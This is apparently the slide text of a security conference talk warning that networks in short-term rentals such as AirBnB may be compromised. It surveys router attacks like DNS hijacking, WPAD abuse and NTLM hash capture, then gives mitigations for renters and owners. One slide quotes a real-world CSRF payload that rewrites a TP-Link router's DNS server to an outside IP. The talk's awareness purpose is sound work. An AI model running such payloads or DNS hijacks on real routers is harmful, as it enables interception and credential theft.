
AirBnBeware:
short-term rentals, long-term pwnage
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The mission of The Satanic Temple is to encourage benevolence and empathy among all people. 

In addition, we embrace practical common sense and justice.
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When things go Bump in the Network

[Origins of this talk]



Short-term rental market



Story time



Brave New World 

The Sharing Economy
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Brave New World 

The Sharing Economy



Brave New World 

The Sharing Economy



PwC nailed it



AirBnB: Up, Up, and Away!







The number of people that have used a 

short-term rental has doubled in less than 

four years





Let’s check those numbers again



Market Size in Billions (2015)

Short-term rentals shown in green











Listings Targets everywhere



Listings Targets everywhere

Global Comparison:

350,000 Gas stations

187,000 Hotels

35,000 McDonalds

34,000 Subways

23,000 Starbucks

15,000 Burger Kings

11,500 Wal-Marts



Listings Targets everywhere





















Revenue of AirBnB in New York City 

from 2010 to 2018 (millions)



Financial forecasting with Drizzy

tl;dr



Not every headline inspires confidence
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Not every headline inspires confidence



WHAT TIME IS IT?

BUSINESS 

TIME



Corporate Ready



Corporate Ready

Travel 

Approved! 😻



Corporate Ready



Biz-dashboard-pane-of-glass-2.0



Aggressive Loss-Leader Promos





Corporate Ready



Corporate Ready



Short-term rental biz be like



When was the last time

you personally

updated your router’s security?



Getting into the attacker mindset

SSID: AirBnBeware

Wireless Security: Open

Admin Pass: blank



Getting into the attacker mindset



Google: dlink emulator



Google: dlink emulator



Scale of Trust

Untrusted (yolo)      Somewhat trusted       Mostly trusted

0 100



Scale of Trust

Untrusted (yolo)      Somewhat trusted       Mostly trusted

0 100

Your personal home network

😎😎



Scale of Trust

Untrusted (yolo)      Somewhat trusted       Mostly trusted

0 100

A university network
��



Scale of Trust

Untrusted (yolo)      Somewhat trusted       Mostly trusted

0 100

Rando hotel kiosk

😱😰
🔥🔥

☠😭☠

💣 🔫💩



Scale of Trust

Beware             Somewhat trusted       Mostly trusted

0 100

AirBnB rental network



Local clients: laptops, desktops, phones

Home network

ISP

The internet



Countermeasures

Anti-virus

EMET (anti-exploitation)

End-point agent (telemetry)

Local security policies

Code signing



Local clients: laptops, desktops, phones

Home network

ISP

The internet



Countermeasures

Certificates

Firewalls

Bug bounties

HSTS / HPKP

Input filtering + validation



Local clients: laptops, desktops, phones

Home network

ISP

The internet



Countermeasures

Password protected admin panel

Lack of physical access



Countermeasures

Password protected admin panel

Lack of physical access



Unlike hosts that receive significant administrative security attention and for 

which security tools such as anti-malware exist, network devices are often 

working in the background with little oversight—until network 

connectivity is broken or diminished. 

Malicious cyber actors take advantage of this fact and often target network 

devices. Once on the device, they can remain there undetected for long 

periods. 



…malicious hackers can gain full control of the network infrastructure 

enabling further compromise of other types of devices and data and 

allowing traffic to be redirected, changed, or denied. Possibilities of 

manipulation include denial-of-service, data theft, or unauthorized changes 

to the data.

Even if other compromised devices are detected, tracking back to a 

compromised infrastructure device is often difficult.

Malicious actors with persistent access to network devices can reattack and 

move laterally after they have been ejected from previously exploited hosts.



Exposure to unsecured networks









Exposure was derived using 

established formulas for a 

finite geometric series



Think twice before having an

unprotected ‘one network stand’



Scale of Trust

Beware             Somewhat trusted       Mostly trusted

0 100

AirBnB rental network



SoHo routers: A worthy target



Carna Botnet ~420K Clients 2012

“The vast majority of all unprotected devices are 

consumer routers or set-top boxes…”



OSX.RSPlug.A Trojan 2007



Operation Ghost Click

DNSChanger ~4M clients 

2007-2011 ~$14M profit



CERT Polska 2013

DNS changing malware 

MitM Polish online banking users



Real-World CSRF attack hijacks DNS 

Server configuration of TP-Link routers

document.writeln('<style type="text/css">@import 

url(http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.h

tm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=1

20&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserve

r2=8.8.8.8&Save=%B1%A3+%B4%E6);</style>')d



More of the same in 2014 and 2015 

“Web-based attack targeting home routers, 

the Brazilian way”



2014 continued



‘TheMoon’ worm 2014

“The router situation is as touchy as a gasoline 

spill in an enclosed shopping mall.”                                                                                         

-Dan Geer



‘Mirai’ August 2016 -

“Linux-based devices are again under the radar. 

This time, cyber criminals are infecting them with 

Mirai to carry out large-scale DDoS attacks.”



Who’s getting pwned?



Abuse of Customer Premise Equipment

BHUSA 2014



Abuse of Customer Premise Equipment

BHUSA 2014



Physical. Access. Changes. Everything.



Average Paperclip Threat, 

The new APT



Ease of Attack:

I am APT and so can you!



Protected by lulz



Protected by lulz



R.I.P Your network security



R.I.P Your network security



What’s old is new again



What’s old is new again



Why target the network?



Why target the network?

”The network is the computer” 
--John Gage of Sun Microsystems      

circa early 1990s



Thought Experiment

Who is your favorite badass hacker?



Thought Experiment

How would you feel if they used your network at home, 

without supervision, for 24 hours, without restriction?

And then you have to use the network after them?

😈

😨



Home routers: Security not included



Home routers: Security not included

routerpwn.com
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Home routers: Security not included



Router hacking: Child’s play, really

“I’m certain that there are other smart 15-year-old kids rounding 

up botnets of CCTV cameras that they can compromise and 

control” Matthew Prince, founder and CEO of Cloudflare

"They [PoodleCorp] love causing as much as chaos as they can” 

Cripthepoodle told Motherboard



If a bored teenager can hack your 

network, you’re in trouble

Anarchaos, aged 18, DEFCON 2004



If a bored teenager can hack your 

network, you’re in trouble

c0mrade, aged 15, NASA hacks, 1999



If a bored teenager can hack your 

network, you’re in trouble

Jake (not shown), aged 14, Call of Duty 2, 2011



Scale of Trust

Beware             Somewhat trusted       Mostly trusted

0 100

AirBnB rental network



Attacks



Attacks:
Potential impacts of a compromised network

“…exposure of sensitive information, 

modification of trusted data, 

and injection of data.”

US-CERT

Securing End-to-End Communications



Attacks

Remote Administration



Attacks

Remote Administration

OPSEC++



Attacks

Just listen and wait



Attacks

Just listen and wait



Attacks

Download router config to 

extract credentials



Attacks

Download router config to extract 

credentials 

ISP
ADSL
L2TP
PPTP
PPPOE
DDNS
WEP/WPA
Login



Attacks

Malice Level: Troll

Website blocking



Attacks

Malice Level: Troll

Parental Controls



Attacks

Malice Level: Troll

Reducing speed



Attacks

Expose hosts on the DMZ

(outside of the router/firewall)



Attacks

Reducing security



Attacks

Control network time



Attacks

Firmware modification

Skill Level: Advanced



Attacks

Remote Administration (advanced)



Attacks

Remote Administration (advanced)

via TR-069



Attacks

MitM via route hop



Attacks

MitM via route hop



Attacks

MitM via route hop



Attacks

Owning DNS



When the attacker gains control of DNS



Owning DNS: Attacks

HTTP/S downgrade

Sniff plain-text creds (passive)

Pharming (FakeDNS)

WPAD abuse

Hash capture (http_ntlm)

BEEF hooks

Browser Autopwn2

Evilgrade (malicious updates)

BDFProxy (MitM binary patching)



Owning DNS: Attacks



Owning DNS: Attacks

“If an attacker registers a domain to answer leaked WPAD 

queries and configures a valid proxy, there is potential to 

conduct man-in-the-middle (MitM) attacks across the 

internet.”



Owning DNS: Attacks

So many great options! How to choose?



Owning DNS: Attacks

No 0day

Almost zero exploit code (!autopwn2)

Pre-built tools

Little infrastructure needed (AWS free)

Attacks are cross-platform

Attacks are easy to perpetrate

Attacks can be passive + automated

Attacks can be difficult to detect

Logs of attacks can be easily wiped



Owning DNS: Attacks
A very simple demonstration



Owning DNS: Attacks
Captive portal NTLM hash capture



Owning DNS: Attacks
Captive portal NTLM hash capture



Wide range of attack styles,

can vary from:

Nuanced to Direct 

Subtle to Aggressive

Opportunistic to Persistent

Generic to Personalized

Simple to Sophisticated

Passive to Invasive

Annoying to Devastating



Attacker types
Bored teen

Tech savvy miscreant

Trolls

Grey hat

Full blown black hat

Hacktivist

Evil property owner

Motivated criminal

Opportunistic criminal



Semi-targeted attacks

Conferences

Tradeshows

Sporting events

Specific locales (DC Beltway, Silicon Valley)

Holiday destinations

High end rentals for high end targets

Near military bases 

Near corporate offices

How would you target?



Attacks

Owning DNS



How ICANN secures your DNS

Locked cages, seismic sensors, smartcards, 

cameras, EMF blocking, safes, iris scanning



How you secure your DNS

Kittens, wishful thinking, lulz



How you secure your DNS

Security?



Understanding risk



Understanding risk

Not so much…



Understanding risk

Much, much, more likely



Understanding risk



Exploits and 0dayz are cool, but

Credential Theft is the trend 



Understanding risk



Home routers: Security not included



Protecting yourself



Mitigations for renters (technical)

Hardcode DNS in all devices



Mitigations for renters (technical)

Hardcode DNS in all devices



Mitigations for renters (technical)

Ensure ‘Automatic proxy setup’ is disabled



Mitigations for renters (technical)

Ensure no unknown proxy is in use



Mitigations for renters (technical)

Trusted Free VPN



Mitigations for renters (technical)

Trusted Free VPN (w/limits)



Mitigations for renters (technical)

Trusted Free Mobile VPN



Mitigations for renters (technical)

Corporate VPN***

Ensure WPAD/Proxy settings are correct

Corp VPNs typically use split-tunneling, which 

may leave large amounts of traffic unprotected



Mitigations for renters (technical)

Corporate VPN***

😎 😰



Mitigations for renters (technical)

Use mobile apps off WiFi



Mitigations for renters (technical)

Tether to 4G/LTE



Mitigations for renters (technical)

Never use plain-text auth

HTTP 

FTP

Telnet

POP3

SMTP

LDAP

VNC



Mitigations for renters (technical)

2FA/MFA everything you care about

https://twofactorauth.org



Mitigations for renters (behavioral)

Watch Mr. Robot



Mitigations for renters (behavioral)

Be skeptical and aware when travelling



Mitigations for renters (behavioral)

Demand HSTS + HPKP from providers



Mitigations for renters (behavioral)

Ask yourself:

When is it okay to not use a VPN?



When is it okay to not use a VPN?

¯\_(ツ
)_/¯



Mitigations for owners

Remove physical access to hardware

Lock in a closet or secure room



Mitigations for owners

Remove physical access to hardware

• Implement robust password policies and use the strongest password encryption available.

• Protect router/switch by controlling access lists for remote administration.

• Restrict physical access to routers/switches.

• Backup configurations and store offline. Use the latest version of the network device operating 

system and update with all patches.



Mitigations for owners

Remove physical access to hardware

Lock in a closet or secure room (like R. Kelly)



Mitigations for owners

Remove physical access to hardware

Lock in an electronics enclosure



Mitigations for owners

Remove physical access to hardware

Lock in an electronics enclosure



Mitigations for owners

Remove physical access to hardware

Don’t offer internet access (gasp!)



Mitigations for owners

Never share your personal WiFi connection



Mitigations for owners

Backup and restore router settings 

routinely



Mitigations for owners

Add an ‘Online Safety’ section to your

Guest Welcome Guide



This is not going away any time soon



This is not going away any time soon

RFP discloses SQL injection in 1998

‘Year of the Breach’ 2011 - ?



This is not going away any time soon

There is no patch, update, or easy fix



So what’s the ‘REAL Solution  ’?™ 



So what’s the ‘REAL Solution  ’?™ 

Better software on our networking hardware

by holding vendors accountable



So what’s the ‘REAL Solution  ’?™ 

This cannot be the accepted norm:



So what’s the ‘REAL Solution  ’?™ 

This cannot be the accepted norm:



Conclusion & Takeaways

Be skeptical and stay aware when traveling,

whether or not you stay at a rental

If the network is untrusted, use a VPN or 4G/LTE mobile network

Be cautious of ‘one network stands’

‘Average Paperclip Threats’ (APTs) are simple, but potentially 
devastating

Remove physical access to hardware if you 💜 security



Homework

Ask security pros and hackers at SecTor if they 

would use an AirBnB network without a VPN.

Ask how they secure their own devices when 

using random, unknown, or untrusted networks.



Thank you for your time!



Free Edward Snowden

Free Julian Assange

Free Chelsea Manning

Free Jeremy Hammond

Free All Political Prisoners



🙅👻🍕Cheers 🍻👯😊

JeremyNGalloway at gmail

EcstaticSec.tumblr.com
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